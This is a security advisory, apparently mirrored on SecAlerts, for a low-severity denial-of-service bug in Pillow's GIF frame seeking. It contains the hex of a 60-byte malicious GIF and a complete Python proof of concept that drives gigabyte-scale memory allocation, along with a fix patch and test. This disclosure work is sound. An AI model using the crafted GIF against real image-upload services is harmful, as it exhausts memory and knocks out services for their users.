GHSA-65qm-jvmh-6pqg: Pip/Pillow vulnerability

Published Oct 20, 2026
·
Updated

============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile.seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self.size and only then calls Image.decompressionbombcheck(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches loadprepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and nframes/isanimated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile.seek() lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only after storing it on the object:

python src/PIL/GifImagePlugin.py:289-294 (GifImageFile.seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: self.size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image.decompressionbombcheck(self.size) # ...then validated

decompressionbombcheck() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 MAXIMAGEPIXELS (178 956 970 px by default), but by then self.size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and seek(0) only ever grows size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call decompressionbombcheck(disposesize) before the corresponding Image.core.fill(), and TiffImagePlugin.loadprepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks tilesize before allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer:

- Retrying im.seek(1). The failed seek left self.offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.loadprepare(): python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self.previm = self.im if self.framepalette: self.im = Image.core.fill("P", self.size, self.frametransparency or 0) which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and loadend() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.

nframes / isanimated are not affected: they call seek(frame, updateimage=False), which skips the size assignment (the file above reports nframes == 2, isanimated == True and leaves im.size at 1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAXIMAGEPIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM.

1. setupenv() caps the process address space at 3 GiB with RLIMITAS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bombgif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would. 3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000). 4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. loadprepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG

The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to decompressionbombcheck(), and only then assigned to self.size, matching the order of the two disposesize checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point:

diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]

nframes / isanimated go through updateimage=False and are unaffected. The patch also extends testexceptiongifextents in Tests/testdecompressionbomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to lastframe, so that a retried seek() does not resume parsing from the middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self.size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff diff --git a/Tests/testdecompressionbomb.py b/Tests/testdecompressionbomb.py index 98d833736..83cc785fc 100644 --- a/Tests/testdecompressionbomb.py +++ b/Tests/testdecompressionbomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def testexceptiongifzerowidth(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAXIMAGEPIXELS", 4 64 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 2,474 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 GifImageFile.seek() stores a frame's enlarged size in self.size and only then runs the decompression-bomb check. The check raises, but the object keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct

from PIL import Image

BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 Image.MAXIMAGEPIXELS

def frame1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bombgif(): return ( b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" 3 + b"\xff" 3 + frame1x1() # frame 0: 1x1, passes open() + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000 + frame1x1() # a real 1x1 frame follows + b";" )

def peakrssmib(): return resource.getrusage(resource.RUSAGESELF).rumaxrss // 1024

def setupenv(): # Cap the address space so the oversized allocations end in MemoryError # instead of the OOM killer. resource.setrlimit(resource.RLIMITAS, (3 << 30, 3 << 30)) data = bombgif() im = Image.open(io.BytesIO(data)) print(f"open(): {len(data)}-byte GIF, size={im.size}") return im

def poc(im): # An application skips the bomb frame and keeps going. try: im.seek(1) except Image.DecompressionBombError as e: print(f"seek(1) raised as intended: {e}") return True return False

im = setupenv() raised = poc(im)

Expected: a rejected frame leaves the object as it was (size == buffer == 1x1). print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}") poisoned = raised and im.size[0] im.size[1] > LIMIT and im.im.size == (1, 1)

Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its buffers from the poisoned im.size. before = peakrssmib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peakrssmib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK") </details>

---

Affected Software

1 affected componentFixes available
pip/Pillow>=9.2.0<13.0.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Upgrade

    Upgrade Pillow to a version that resolves this vulnerability.

    Patch a707c6b21c313880d0771e54965d142dd42358b6

Event History

Oct 20, 2026
Advisory Published
via GitHub·08:53 PM
Data Sourced
via GitHub·08:53 PM
DescriptionWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203